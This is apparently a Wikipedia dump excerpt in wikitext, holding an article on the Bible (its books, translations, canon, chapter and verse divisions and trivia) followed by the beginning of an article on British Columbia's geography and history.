The [[Ketuvim]], or &quot;Writings,&quot; were, according to critical scholars, mostly written during or after the Babylonian Exile and were among the last books to be canonized.  According to Rabbinic tradition, many of the psalms in the book of [[Psalms]] are attributed to [[King David]]; [[King Solomon]] wrote three books: [[Song of Songs]] in his youth, [[Book of Proverbs | Proverbs]] at the prime of his life, and [[Ecclesiastes]] at old age; and the prophet [[Jeremiah]] wrote [[Lamentations]].  The [[Book of Job]] is the only Biblical book that centers entirely on a non-Jew.  The book of Ruth tells the story of a non-Jew (specifically, a Moabite) who married a Jew and, upon his death, followed in the ways of the Jews; according to the Bible, she was the great-grandmother of [[King David]]. Five of the books, called &quot;The Five Scrolls&quot; (Megilot), are read on Jewish holidays: [[Song of Songs]] on [[Passover]]; the [[Book of Ruth]] on [[Shavuot]]; [[Lamentations]] on the [[Ninth of Av]]; [[Ecclesiastes]] on [[Sukkot]]; and the [[Book of Esther]] on [[Purim]].  Collectively, the [[Ketuvim]] contain lyrical poetry, philosophical reflections on life, and the stories of the prophets and other Jewish leaders during the Babylonian exile.  It ends with the Persian decree allowing Jews to return to Jerusalem to rebuild the Temple.

Ketuvim contains eleven books:
* I. Tehillim ([[Psalms]]) &amp;#1514;&amp;#1492;&amp;#1500;&amp;#1497;&amp;#1501;
* II. Mishlei ([[Book of Proverbs]]) &amp;#1502;&amp;#1513;&amp;#1500;&amp;#1497;
* III. `Iyyov ([[Book of Job]]) &amp;#1488;&amp;#1497;&amp;#1493;&amp;#1489;
* IV. Shir ha-Shirim ([[Song of Songs]]) &amp;#1513;&amp;#1497;&amp;#1512; &amp;#1492;&amp;#1513;&amp;#1497;&amp;#1512;&amp;#1497;&amp;#1501;
* V. Ruth ([[Book of Ruth]]) &amp;#1512;&amp;#1493;&amp;#1514;
* VI. Eikhah ([[Lamentations]]) &amp;#1488;&amp;#1497;&amp;#1499;&amp;#1492; [Also called ''Kinnot'' (קינות) in Hebrew.]
* VII. Kohelet ([[Ecclesiastes]]) &amp;#1511;&amp;#1492;&amp;#1500;&amp;#1514;
* VIII. Esther ([[Book of Esther]]) &amp;#1488;&amp;#1505;&amp;#1514;&amp;#1512;
* IX. Daniel ([[Book of Daniel]]) &amp;#1491;&amp;#1504;&amp;#1497;&amp;#1488;&amp;#1500;
* X. Ezra (often divided into two books, [[Book of Ezra]] and [[Book of Nehemiah]] (עזרא (נחמיה
* XI. Divrei ha-Yamim ([[Books of Chronicles|Chronicles]], often divided into two books) &amp;#1491;&amp;#1489;&amp;#1512;&amp;#1497; &amp;#1492;&amp;#1497;&amp;#1502;&amp;#1497;&amp;#1501;

===Translations and editions===
The Tanakh was mainly written in [[Biblical Hebrew]], with some portions (notably in [[Book of Daniel|Daniel]] and [[Book of Ezra|Ezra]]) in [[Aramaic language|Aramaic]].

Some time in the [[3rd century BC]], the Torah was translated into [[Koine Greek]], and over the next century, other books were translated as well. This translation became known as the [[Septuagint]] and was widely used by Greek-speaking [[Jew]]s, and later by [[Christian]]s. It differs somewhat from the Hebrew text as standardized later ([[Masoretic Text]]).  This translation was also granted divine authority by way of a Rabbinic legend that 70 seperate translators all produced identical texts, indicating that the translation was divinely inspired.

From the [[800s]] to the [[1400s]], Rabbinic Jewish scholars known as the [[Masoretes]] compared the text of all known Biblical manuscripts in an effort to create a unified, standardized text; a series of highly similar texts eventually emerged, and any of these texts are known as Masoretic Texts (MT). The Masoretes also added [[vowel]] points (called [[niqqud]]) to the text, since the original text only contained [[consonant]]s. This sometimes required the selection of an interpretation, since some words differ only in their vowels— their meaning can vary in accordance with the choice of vowels to insert. In antiquity other variant readings existed, some of which have survived in the [[Samaritan Pentateuch]], the [[Dead Sea scrolls]], and other ancient fragments, as well as being attested in ancient versions in other languages.

Versions of the Septuagint contain several passages and whole books beyond what was included in the Masoretic texts of the Tanakh. In some cases these additions were originally composed in Greek, while in other cases they are translations of Hebrew books or variants not present in the Masoretic texts. Recent discoveries have shown that more of the Septuagint additions have a Hebrew origin than was once thought. While there are no complete surviving manuscripts of the Hebrew texts on which the Septuagint was based, many scholars believe that they represent a different textual tradition from the one that eventually became the basis for the Masoretic texts.

The Jews also produced nonliteral translations or paraphrases known as [[targum]]s, primarily in Aramaic. They frequently expanded on the text with additional details taken from Rabbinic oral tradition.

See below for a partial list of contemporary English translations.

==The Christian Bible==
{{Christianity}}
[[image:bible.malmesbury.arp.jpg|thumb|left|250px|A Bible handwritten in Latin, on display in Malmesbury Abbey, Wiltshire, England. This Bible was transcribed in Belgium in 1407, for reading aloud in a monastery.]]
The [[Septuagint]] was generally abandoned in favor of the Masoretic text as the basis for translations into [[Western world|Western]] languages from [[Jerome|Saint Jerome's]] [[Vulgate]] to the present day. In [[Eastern Christianity]] translations based on the Septuagint still prevail. Some modern Western translations make use of the Septuagint to clarify passages in the Masoretic text that seem to have suffered corruption in transcription. They also sometimes adopt variants that appear in texts discovered among the Dead Sea Scrolls. (For more information, see the entry on [[Bible translations]].)

===The Old Testament===
The collection of books that the majority of [[Christian]]s (including members of the [[Roman Catholic Church|Roman Catholic]], [[Eastern Orthodoxy|Eastern Orthodox]], and [[Oriental Orthodoxy|Oriental Orthodox]] Churches) call the [[Old Testament]] includes [[deuterocanonical books]] preserved in the [[Greek language|Greek]] of the [[Septuagint]].  The [[Roman Catholic Church]] recognizes seven such books ([[Book of Tobit|Tobit]], [[Book of Judith|Judith]], [[1 Maccabees]], [[2 Maccabees]], [[Wisdom of Solomon]], [[Sirach|Sirach [Ecclesiasticus]]], and [[Book of Baruch|Baruch]]), as well as some passages in [[Book of Esther|Esther]] and [[Book of Daniel|Daniel]].  Various Orthodox Churches include a few others, typically [[3 Maccabees]], [[Psalm 151]], [[1 Esdras]], [[Odes]], [[Psalms of Solomon]], and occasionally [[4 Maccabees]]. [[Protestantism|Protestants]] in general do not recognize these books as part of the Bible, though they may print them along with the books they do recognize.

===The New Testament===
The [[New Testament]] is a collection of 27 books with [[Jesus]] as its central figure, written primarily in [[Koine Greek]] in the early [[Christian]] period, that almost all [[Christian]]s recognize as [[Sacred text|Scripture]].  These can be  grouped into:
*The [[Synoptic Gospels]]
**the [[Gospel According to Matthew]]
**the [[Gospel According to Mark]]
**the [[Gospel According to Luke]]
&lt;!-- These are  fully listed in the general article above 
**The [[Gospel of Matthew]] - [[Matthew the Evangelist|Matthew]], a tax-collector and [[apostle]].
**The [[Gospel of Mark]] - [[Mark the Evangelist|Mark]], a follower of [[Saint Peter|Peter]] and also of [[Paul of Tarsus|Paul]].
**The [[Gospel of Luke]] - [[Luke the Evangelist|Luke]], a follower of [[Paul of Tarsus|Paul]].
--&gt;
*The [[Gospel of John]] 
*The [[Acts of the Apostles]] 
*The [[Pauline Epistles]]
&lt;!-- These are  fully listed in the general article above 
**[[Epistle to the Romans]] - [[Paul of Tarsus|Paul]] the [[Apostle]]
**[[First Epistle to the Corinthians]] - [[Paul of Tarsus|Paul]]
**[[Second Epistle to the Corinthians]] - [[Paul of Tarsus|Paul]]
**[[Epistle to the Galatians]] - [[Paul of Tarsus|Paul]]
**[[Epistle to the Philippians]] - [[Paul of Tarsus|Paul]]
**[[Epistle to Philemon]] - [[Paul of Tarsus|Paul]]
**[[First Epistle to the Thessalonians]] - [[Paul of Tarsus|Paul]]
**[[Second Epistle to the Thessalonians]] - [[Paul of Tarsus|Paul]], though disputed by many modern scholars
**[[Epistle to the Ephesians]] - [[Paul of Tarsus|Paul]], though disputed by many modern scholars
**[[Epistle to the Colossians]] - [[Paul of Tarsus|Paul]], though disputed by many modern scholars
**The [[Pastoral Epistles]] - traditionally [[Paul of Tarsus|Paul]], but normally considered by two thirds of modern scholars to be by another (single) author
***[[First Epistle to Timothy]]
***[[Second Epistle to Timothy]]
***[[Epistle to Titus]]
**[[Epistle to the Hebrews]] - Anonymous, but sometimes traditionally attributed to [[Paul of Tarsus|Paul]], although disputed by even the most conservative of modern scholars.
--&gt;
*The [[General Epistles]]
&lt;!-- These are  fully listed in the general article above 
**[[Epistle of James]] - [[James the Just|James]], &quot;the brother of the Lord&quot;
**[[First Epistle of Peter]] - [[Saint Peter|Peter]] the [[Apostle]] (considered by many modern scholars to be written by another author)
**[[Second Epistle of Peter]] - [[Saint Peter|Peter]] the [[Apostle]] (considered by many modern scholars to be written by another author)
**[[First Epistle of John]] - [[John the Apostle]] (the [[Authorship of the Johannine works|Johannine]] letters are usually attributed to members of the community of his disciples, though [[First Epistle of John|1 John]] closely resembles the [[Gospel of John]] in style and vocabulary)
**[[Second Epistle of John]] - [[John the Apostle]]
**[[Third Epistle of John]] - [[John the Apostle]]
**[[Epistle of Jude]] - [[Jude]], brother of [[James the Just|James]]
--&gt;
*The [[Book of Revelation|Revelation]] of [[John the Divine|John &quot;the divine&quot;]] (traditionally identified as [[John the Apostle]]). &lt;!-- This is the bible article, keep it tight. 
There is still debate as to whether this is [[John the Apostle]] or another prophet by the same name. --&gt;
==== Original language ====
Most scholars believe that all of the [[New Testament]] was originally composed in Greek. The three main textual traditions are sometimes called the [[Western text-type]], the [[Alexandrian text-type]], and [[Byzantine text-type]].  Together they compose the majority of New Testament [[manuscript]]s. There are also several ancient versions in other languages, most important of which are the [[Syriac language|Syriac]] (including the [[Peshitta]] and the [[Diatessaron]] gospel harmony) and the [[Latin]] (both the [[Vetus Latina]] and the Vulgate).

A few scholars believe in [[Aramaic primacy]] &amp;mdash; that parts of the Greek New Testament are actually a translation of an Aramaic original, in particular, the [[Gospel of Matthew]]. Of these, a small number accept the [[Syriac language|Syriac]] [[Peshitta]] as representing the original, while most take a more critical approach to reconstructing the original text.

==== Historic editions ====
The earliest printed edition of the New Testament in Greek appeared in [[1516]] from the [[Johann Froben|Froben]] press.  It was compiled by [[Erasmus|Desiderius Erasmus]] on the basis of the few recent Greek [[manuscript]]s, all of [[Wiktionary:Byzantine|Byzantine]] tradition, at his disposal, which he completed by translating from the Vulgate parts for which he did not have a Greek text. He produced four later editions of the text.

Erasmus was a deeply religious Roman Catholic, but his preference for the textual tradition represented in [[Medieval Greek|Byzantine Greek]] text of the time rather than that in the Latin Vulgate led to him being viewed with suspicion by some authorities of his Church.

The first edition with critical apparatus (variant readings in manuscripts) was produced by the printer [[Robert Estienne]] of Paris in [[1550]].  The type of text printed in this edition and in those of Erasmus became known as the ''[[Textus Receptus]]'' (Latin for &quot;received text&quot;), a name given to it in the [[Elsevier|Elzevier]] edition of [[1633]], which termed it the text ''nunc ab omnibus receptum'' (&quot;now received by all&quot;).  On it the Churches of the [[Protestant Reformation]] based their translations into [[vernacular]] languages, such as the [[King James Version of the Bible|King James Version]].

The discovery of older manuscripts, such as the [[Codex Sinaiticus]] and the [[Codex Vaticanus]], led scholars to revise their opinion of this text.  [[Karl Lachmann]]’s critical edition of [[1831]], based on manuscripts dating from the fourth century and earlier, was intended primarily to demonstrate that the Textus Receptus must finally be rejected.  Later critical texts are based on further scholarly research and the finding of papyrus fragments dating in some cases from within a few decades of the composition of the New Testament writings.  It is on the basis of these that nearly all modern translations or revisions of older translations have, for more than a century, been made, though some still prefer the Textus Receptus or the similar &quot;Byzantine [[Majority Text]]&quot;.

==The canonization of Scripture==
{{main|Biblical Canon}}
In Judaism it is commonly thought that the canonical status of some books was discussed between [[200 BC]] and [[100|AD 100]], though it is unclear at what point during this period the Jewish canon was decided.  [[Protestants]] cite the Old Testament canon defined by the [[Council of Jamnia]] in AD 90 as their basis for not including the [[Deuterocanonical]] books, where [[Roman Catholic]]s assert that Jewish council was convened in reaction to the rise of Christianity and its use of the Greek [[Septuagint]]. 
    
To the books accepted by Judaism as Scripture, Christianity subsequently added those of the [[New Testament]], the 27-book [[Biblical canon|canon]] of which was finally fixed in the [[4th century]]. Catholicism mostly considers certain deuterocanonical books to be part of the [[Old Testament]], though Protestantism in general accepts as part of the Old Testament only the books in the canon of Judaism and uses the term [[Apocrypha]] for the deuterocanonical books. The Protestant Old Testament has a 39-book canon &amp;mdash; the number varies from that of the books in the [[Tanakh]] because of a different method of division &amp;mdash; while the Roman Catholic Church recognizes 46 books as part of the Old Testament. For details, see [[Books of the Bible]].

Canonicity is distinct from questions of human authorship and the formation of the books of the Bible; these questions are discussed in the entries on [[higher criticism]] and [[textual criticism]].

==Bible versions and translations==
In scholarly writing, ancient translations are frequently referred to as &quot;versions&quot;, with the term &quot;translation&quot; being reserved for medieval or modern translations. Information about Bible versions is given below, while Bible translations can be found on a separate page.

The original texts of the Tanakh were in Hebrew, although some portions were in Aramaic.  In addition to the authoritative Masoretic Text, Jews still refer to the Septuagint, the translation of much of the Bible into Greek, and the [[Targum Onkelos]], an Aramaic version of the Bible.  The Onkelos translation is particularly interesting in that it removes most references to God as a physical presence.  This move towards a formless God was of immense importance to Jewish philosophy and religious exegesis. It was central to the philosophy of [[Maimonides]], known in Hebrew as the Rambam, the most influential Jewish thinker of the Middle Ages.

Early Christians produced translations of the Hebrew Bible into several languages; their primary Biblical text was the Septuagint. Translations were made into Syriac, [[Coptic language|Coptic]] and Latin, among other languages. The Latin translations were historically the most important for the Church in the West, while the Greek-speaking East continued to use the Septuagint translation of the Old Testament and had no need to translate the New Testament.

The earliest Latin translation was the Old Latin text, or Vetus Latina, which, from internal evidence, seems to have been made by several authors over a period of time. It was based on the Septuagint, and thus included books not in the Hebrew Bible.

The ever-increasing number of variants in Latin manuscripts induced [[Pope Damasus]], in [[382]], to commission his secretary, Saint Jerome, to produce a reliable and consistent text.  Jerome later took it on himself to make a completely new translation directly from the Hebrew of the Tanakh.  This translation became the basis of the [[Vulgate]] Latin translation.  Though he also translated Psalms from Hebrew, the earlier Septuagint-based version, slightly revised by him, is the text that was actually used in Church and is included in editions of the Vulgate.  This includes the deuterocanonical books, also revised by Jerome, and became the official translation of the [[Roman Catholic Church]].

''See [[English translations of the Bible]] for more details of translations and [[Origin and Growth of the English Bible]] for a chart on how the English Bible came to be.''

==The Introduction of chapters and verses ==
{{main|Chapters and verses of the Bible}}; ''see [[Tanakh#Chapters_and_verse_numbers.2C_book_divisions|Tanakh]] for the Jewish textual tradition.''

The [[Hebrew language|Hebrew]] [[Masoretic text]] contains verse endings as an important feature. According to the [[Talmud]]ic tradition, the verse endings are of ancient origin. The Masoretic textual tradition also contains section endings called ''parashiyot'', which are indicated by a space within a line (a &quot;closed&quot; section&quot;) or a new line beginning (an &quot;open&quot; section). The division of the text reflected in the ''parashiyot'' is usually thematic. The ''parashiyot'' are not numbered.

In early manuscripts (most importantly in Tiberian Masoretic manuscripts, such as the [[Aleppo codex]]) an &quot;open&quot; section may also be represented by a blank line, and a &quot;closed&quot; section by a new line that is slightly indented (the preceding line may also not be full). These latter conventions are no longer used in Torah scrolls and printed [[Hebrew Bible]]s. In this system the one rule differentiating &quot;open&quot; and &quot;closed&quot; sections is that &quot;open&quot; sections must ''always'' begin at the beginning of a new line, while &quot;closed&quot; sections ''never'' start at the beginning of a new line.

Another related feature of the Masoretic text is the division of the ''sedarim''. This division is not thematic, but is almost entirely based upon the ''quantity'' of text.

The Byzantines also introduced a chapter division of sorts, called ''Kephalaia''. It is not identical to the present chapters.

The current division of the Bible into chapters and the verse numbers within the chapters have no basis in any ancient textual tradition. Rather, they are medieval Christian inventions. They were later adopted by many Jews as well, as technical references within the Hebrew text. Such technical references became crucial to medieval rabbis in the historical context of forced debates with Christian clergy (who used the chapter and verse numbers), especially in late medieval Spain. Chapter divisions were first used by Jews in a [[1330]] manuscript, and for a printed edition in [[1516]]. However, for the past generation, most Jewish editions of the complete Hebrew Bible have made a systematic effort to relegate chapter and verse numbers to the margins of the text.

The division of the Bible into chapters and verses has often elicited severe criticism from traditionalists and modern scholars alike. Critics charge that the text is often divided into chapters in an incoherent way, or at inappropriate points within the narrative, and that it encourages citing passages out of context, in effect turning the Bible into a kind of textual quarry for clerical citations. Nevertheless, even the critics admit that the chapter divisions and verse numbers have become indispensable as technical references for Bible study.

[[Stephen Langton]] is reputed to have been the first to put the chapter divisions into a Vulgate edition of the Bible, in [[1205]]. They were then inserted into Greek manuscripts of the New Testament in the [[1400s]]. [[Robert Estienne]] (Robert Stephanus) was the first to number the verses within each chapter, his verse numbers entering printed editions in [[1565]] (New Testament) and [[1571]] (Hebrew Bible).[http://www.fuller.edu/ministry/berean/chs_vss.htm][http://www.theexaminer.org/history/chap6.htm] 

==Interesting facts==
The following list contains some of the more interesting facts of the Bible:

*The longest verse in the Bible is Esther chapter 8, verse 9.

*The longest chapter is [[Psalm 119]], the shortest, Psalm 117.

*Middle verse—see [[Middle verse of the Bible]].

*The middle chapter is Psalm 117. There are 594 chapters before this one, and 594 after. [http://www.christring.org/thinkabout/middleverse2.htm]

*The shortest book is the [[Third Epistle of John]].  The [[Second Epistle of John]] has one fewer verse, but contains more words.

*There are 773,692 words in the King James version of the Bible.

*The shortest verse in the Bible is John 11:35.

*The longest word is &quot;[[Mahershalalhashbaz]]&quot; found in Isaiah chapter 8, verses 1 and 3.

*There are two similar chapters in the Bible. They are 2 Kings chapter 19, and Isaiah chapter 37. (The first 14 verses of each chapter are the same, word-for-word, in the King James version).

*A modern analysis using Microsoft Word 2000 yields a count 31,102 verses for the King James Version. [http://www.christring.org/thinkabout/middleverse2.htm]

*There are 5,845 verses in the Torah (Five Books of Moses) corresponding to the Hebrew mneumonic &quot;ha chama&quot; or &quot;the sun.&quot;

*The Bible contains 1,189 chapters (Old Testament—929, New Testament—260).

*There are no verses in the King James version that contain all the letters of the alphabet, but Ezekiel 7:21 has all letters except &quot;[[J]]&quot; and Daniel 4:37 has all letters except &quot;[[Q]]&quot;.

*There are only two books in the Bible that do not contain the word &quot;God&quot;. They are [[Book of Esther|Esther]] and [[Song of Solomon]].

*The word &quot;eternity&quot; occurs only once in the King James Version, in Isaiah 57, verse 15.

==References==
* [[Bernhard Anderson|Anderson, Bernhard W.]] ''Understanding the Old Testament'' (ISBN 0139483993)
* Dever, William B. ''Who Were the Early Israelites and Where Did they Come from?'' Grand Rapids, MI: William B. Eerdmans Publishing Co., 2003. ISBN  0802809758.
* Head, Tom. ''The Absolute Beginner's Guide to the Bible''.  Indianapolis, IN: Que Publishing, 2005. ISBN 0789734192.
* Miller, John W. ''The Origins of the Bible: Rethinking Canon History'' Mahwah, NJ: Paulist Press, 1994. ISBN 0809135221.
* Silberman, Neil A. and colleagues. ''The Bible Unearthed: Archaeology's New Vision of Ancient Israel and the Origin of Its Sacred Texts''. New York: Simon and Schuster, 2001. ISBN 0684869136.
*Taylor, Hawley O., &quot;Mathematics and Prophecy,&quot; ''Modern Science and Christian Faith'', Wheaton,: Van Kampen, 1948, pp.175-183.
*''Wycliffe Bible Encyclopedia'', subject: prophecy, page 1410, Moody Bible Press, Chicago, 1986
*''Wycliffe Bible Encyclopedia'', subject: Book of Ezekiel, page 580, Moody Bible Press, Chicago, 1986

==See also==
{{commons|Bible}}
{{wiktionary|Bible}}
{{wikiquote}}
{{wikisource|Wikisource:Religious texts#Bible_and_Works_about_the_Bible|The Bible and Works about the Bible}}
{{wikisource|EB1911:Bible|1911 Britannica entry}}
* [[Jesus]]
* [[Biblical archaeology]]
* [[Bible prophecy]]
* [[Dating the Bible]]
* [[Bible chronology]]
* [[Origin and Growth of the English Bible]]
* [[The Bible and history]]
* [[History of the English Bible]]
* [[Books of the Bible]]
* [[Bible conspiracy theory]]
* [[Bible translations]]
* [[Biblical canon]]
* [[Gutenberg Bible]]
* [[Study Bible]]
* [[Biblical inerrancy]]
* [[Internal consistency and the Bible]]
* [[New Testament view on Jesus' life]]
* [[Adam and Eve]]
* [[Ten Commandments|Ten Commandments (ethical)]]
* [[Ritual Decalogue|Ten Commandments (ritual)]]
* [[Jewish Biblical exegesis]]
* [[Tanakh]]
* [[Islamic view of the Bible]]
* [[Hindu idealism|Hindu idealism and the Bible]]
* [[Metanarrative]]

==External links==
*[http://www.BibleGateway.com/ BibleGateway.com] (NIV, ESV, etc.)
*[http://biblestudytools.net/ BibleStudyTools.net] (KJV, NRSV, NKJV, etc.)
*[http://www.biblestudywiki.com Bible Study Wiki]
*[http://www.chinese-bible.com French, English and Chinese Online Bible]
*[http://www.o-bible.com/ o-bible.com] Chinese and English
*[http://www.biblija.net/biblija.cgi?lang=en Multilingual Online Bible]
*[http://www.chabad.org/article.asp?AID=63255 Online Jewish translation of the Bible] With *[http://www.phy6.org/outreach/Jewish/Bible.htm A first introduction to the Bible (Old testament)]
*[[Rashi|Rashi's]] commentary by The Judaica Press at [http://www.chabad.org chabad.org]
*[http://www.sacredbible.org/ SacredBible.org] Latin Vulgate
*[http://www.skepticsannotatedbible.com/ Skeptic's Annotated Bible (KJV)]
*[http://www.unboundbible.org/ UnboundBible.org] Languages other than English

[[Category:Bible]]
[[Category:Jesus]]
[[Category:Metanarratives]]

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      <comment>/* History */</comment>
      <text xml:space="preserve">{{Canadian province or territory |
  Name            = British Columbia|
  AlternateName   = |
  Fullname        = |
  EntityAdjective = Provincial |
  Flag            = Flag of British Columbia.svg |
  CoatOfArms      = BCCoat.JPG |
  Map             = British_Columbia-map.png |
  Motto           = Splendor Sine Occasu ([[Latin]]: Splendour without diminishment) |
  OfficialLang = [[English_language|English]], [[French_language|French]] 
|
  Capital         = [[Victoria, British Columbia|Victoria]] |
  LargestCity     = [[Vancouver, British Columbia|Vancouver]] |
  Premier         = [[Gordon Campbell]] |
  PremierParty    = [[British Columbia Liberal Party|BC Liberal]] |
  Viceroy         = [[Iona Campagnolo]] |
  ViceroyType     = Lieutenant-Governor |
  PostalAbbreviation = BC |
  PostalCodePrefix = [[List of V Postal Codes of Canada|V]] |
  AreaRank        = 5&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 944,735 |
  LandArea        = 925,186 |
  WaterArea       = 19,549 |
  PercentWater  = 2.1 |
  PopulationRank  = 3&lt;sup&gt;rd&lt;/sup&gt; |
  Population      = 4,220,000|
  PopulationYear  = [[2005]] estimate|
  DensityRank     = 7&lt;sup&gt;th&lt;/sup&gt; |
  Density         = 4.34 |
  AdmittanceOrder = 7&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[July 20]], [[1871]] |
  TimeZone        = [[Coordinated Universal Time|UTC]]−8 &amp; −7 |
  HouseSeats      = 36 |
  SenateSeats     = 6 |
  ISOCode         = CA-BC |
  Website         = www.gov.bc.ca
}}

'''British Columbia''', or simply '''B.C.''' or '''BC''' ([[French language|French]]: ''Colombie-Britannique'', ''C.-B.''), is the westernmost of [[Canada|Canada's]] [[Provinces of Canada|provinces]]. It was the sixth province to join Confederation (in [[1871]]). [[As of 2005]], the population estimate is 4,220,000 (''British Columbians'').

==Geography==
{{main|Geography of British Columbia}}
British Columbia is the westernmost province of [[Canada]], bordered by the [[Pacific Ocean|Pacific]] coast. It is bound on the northwest by the [[United States|U.S.]] [[States of the United States|state]] of [[Alaska]], directly north by [[Yukon]] and the [[Northwest Territories]], on the east by [[Alberta]], and on the south by the states of [[Washington]], [[Idaho]], and [[Montana]].  The southern border of British Columbia was established by the [[1846]] [[Oregon Treaty]].

British Columbia's capital is Victoria, located at the southeastern tip of Vancouver Island. BC's most populous city is Vancouver, located in southwest corner of the BC mainland called the [[Lower Mainland]]. Other major cities include [[Surrey, British Columbia|Surrey]], [[Burnaby, British Columbia|Burnaby]], [[Coquitlam, British Columbia|Coquitlam]], [[Richmond, British Columbia|Richmond]], [[Delta, British Columbia|Delta]], and [[New Westminster, British Columbia|New Westminster]] in the Lower Mainland; Abbotsford and Langley in the Fraser Valley; [[Nanaimo, British Columbia|Nanaimo]] on Vancouver Island; and [[Kelowna, British Columbia|Kelowna]] and [[Kamloops, British Columbia|Kamloops]] in the Interior. [[Prince George, British Columbia|Prince George]] is the major city nearest the centre of the province; however, a small town called Vanderhoof, 100 km to the west, is much nearer the geographic centre.

The [[Canadian Rockies]] and the [[Inside Passage]]'s [[fjord]]s provide some of British Columbia's renowned and spectacular scenery, which forms the backdrop and context for a growing outdoor adventure and [[ecotourism]] industry.  The [[Okanagan]] area is one of only three wine-growing regions in Canada and also produces excellent [[cider]]s, but exports little of either drink. The small rural towns of [[Penticton, British Columbia|Penticton]], [[Oliver, British Columbia|Oliver]], and [[Osoyoos, British Columbia|Osoyoos]] have some of the warmest summer climates in [[Canada]].

Much of [[Vancouver Island]] is covered by a temperate [[rain forest]], one of a mere handful of such [[Ecosystem|ecosystems]] in the world (notable others being on the [[Olympic Peninsula]] of [[Washington]] and in [[Chile]] and [[Tasmania]]).  The province's mainland has snowy, cold winters, especially in the north. The coast and Vancouver Island are temperate in many places, where the climate is moderated by the [[Pacific Ocean]].  In the interior, summer temperatures can be quite warm, even notably hot and there are large semi-arid areas and a few localities classifiable as [[pocket deserts]], including at the towns of [[Osoyoos, British Columbia|Osoyoos]] and [[Lillooet, British Columbia|Lillooet]].  There is more than one spot in British Columbia that has recorded peak summer temperatures of 43.3&amp;nbsp;°C (110&amp;nbsp;°F) and an ongoing rivalry exists between the [[Fraser Canyon]] towns of [[Lytton, British Columbia|Lytton]] and [[Lillooet, British Columbia|Lillooet]] for the title of &quot;Canada's Hot Spot&quot;.
{| class=&quot;wikitable&quot; style=&quot;margin-left:20px;&quot;
|+ Ten Largest Municipalities in BC by population
!align=left|Municipality
!2001
!1996
|-
|align=left|[[Vancouver]]
|545,671
|514,008
|-
|align=left|[[Surrey, British Columbia|Surrey]]
|347,825
|304,477
|-
|align=left|[[Victoria, British Columbia|Victoria]]
|288,346
|?
|-
|align=left|[[Burnaby, British Columbia|Burnaby]]
|193,954
|179,209
|-
|align=left|[[Richmond, British Columbia|Richmond]]
|164,345
|148,867
|-
|align=left|[[Abbotsford, British Columbia|Abbotsford]]
|115,463
|104,403
|-
|align=left|[[Coquitlam, British Columbia|Coquitlam]]
|112,890
|101,820
|-
|align=left|[[Saanich, British Columbia|Saanich]]
|103,654
|101,388
|-
|align=left|[[Delta, British Columbia|Delta]]
|96,950
|95,411
|-
|align=left|[[Kelowna, British Columbia|Kelowna]]
|96,288
|89,422

|}

==History==
{{main|History of British Columbia}}

From [[1818]] to [[1846]], British Columbia south of 54°40′ and west of the [[Rocky Mountains]] was part of a region named by the Americans (after they started claiming it, even though there were none actually in the territory), the [[Oregon Country]], after an old name for the Columbia River coming from the French word ''ouragan'' (hurricane).  The land was under the control of - but unlike [[Rupert's Land]] not owned by - the [[Hudson's Bay Company]], who had a monopoly within the region on trade with the Indians.  Hudson's Bay territories west of the Rockies were divided into the departments of [[Columbia (Oregon Country)|Columbia]], vaguely defined as to the (south of the [[Thompson River]]) and [[New Caledonia (Canada)|New Caledonia]] (north of the river).

In 1846, the [[Oregon Treaty]] divided the territory along the [[49th parallel north|49th parallel]] to [[Georgia Strait]], with the area north of this boundary (and all of [[Vancouver Island]] and the [[Gulf Islands]]) becoming exclusively [[United Kingdom|British]] territory. The [[Colony of Vancouver Island]] was created in [[1849]], with [[Victoria, British Columbia|Victoria]] designated as the capital.  New Caledonia — the mainland — continued to be an unorganized territory of [[British North America]], &quot;administered&quot; by individual HBC [[fur trade|trading post]] managers.

With the [[Fraser Canyon Gold Rush]] in 1858, the mainland was organized into the [[Colony of British Columbia]], with [[New Westminster]] as its capital.  The name was chosen by [[Queen Victoria]], to differentiate the [[British]] part of the Columbia District from that portion lost to the United States, i.e. the remaining US portion of the [[Oregon Country]].  The name &quot;Columbia&quot; does not derive directly from [[Christopher Columbus]], as does the name of the country [[Colombia]] or as in the [[Washington, D.C.|District of Columbia]], but instead comes from the name of the ship sailed up the Columbia's lower reaches (allegedly) by  [[United States|American]] Captain [[Robert Gray]].  That voyage, foregone by Captain Vancouver a few years before during his charting of the Coast, was one of the determining factors in the final surrender of what had been clearly a British fur dominion into the hands of expanding Americans.  Unlike other names in Canada and elsewhere, the name Columbia (as in the river) is not translated in French, since it is a ship's ''name'', although the province secondarily-named for it is rendered ''la Colombie-Britannique'' (the province's official name in French).

In [[1858]], in response to the [[Fraser Canyon]] gold rush, the mainland portion of the former Oregon Country was organized into the colony of British Columbia as a preventive against the risk of annexation by the American-dominated mining population, many of whom had defied the Governor's orders to enter the Colony via Victoria and instead came overland via [[Whatcom County]] and the [[Okanagan Trail]].  The [[Cariboo]] region (&quot;Central Interior&quot;) of British Columbia experienced a gold rush in the years [[1862]] to [[1865]].  This created a rapid influx of miners and settlers, about 30,000 in all.  The colonial authorities feared the gold rush might spread beyond B.C.'s northern border (54°40′ north), so the [[Stikine Territory]] was created in [[1862]].  However, the following year this new territory was disestablished, most of its area going to B.C., whose northern limit was increased to its current location, 60° north.

This period in the province's history is acknowledged today in the ''Gold Rush Trail'': historic and other sites along the route from [[Lillooet]] to [[Barkerville]] and beyond. Some of the towns along this route are numbered according to their distance from the end of the navigable part of the [[Fraser River]] at Lillooet. Best known of these is the town of [[100 Mile House]] which, along with the residential hub of [[108 Mile Ranch]], forms a substantial trading, tourism, and population centre for this region.  

After the mainland's gold rushes collapsed and the colony almost went bankrupt from building roads in its interior, the two colonies of Vancouver's Island and British Columbia agreed to merge and share the debt.  The merger was effected in [[1866]], with the name ''British Columbia'' being applied to the newly united colony.

Several factors played in the decision of British Columbia to join Canada on [[July 20]], [[1871]]. These included fear of [[annexation]] to the [[United States]], the overwhelming debt created by rapid population growth, the need for government-funded services to support this population, and the economic depression caused by the end of the gold rush.  The decision was made largely because the Canadian government offered to link British Columbia to the more settled parts of Canada via the [[Canadian Pacific Railway]] and offered to pay off the $1,000,000  British Columbian debt.

The completion of the CPR in [[1885]], and its upgrades during [[1886]], was a huge boost to Vancouver, the line's terminus founded in 1886, and it rapidly grew to become one of Canada's largest cities.  The province became a centre of fishing, mining, and especially of logging throughout the twentieth century.

In [[1903]], British Columbia's territory shrank somewhat after the [[Alaska Boundary Dispute]] settled the vague boundary of the Alaska panhandle.

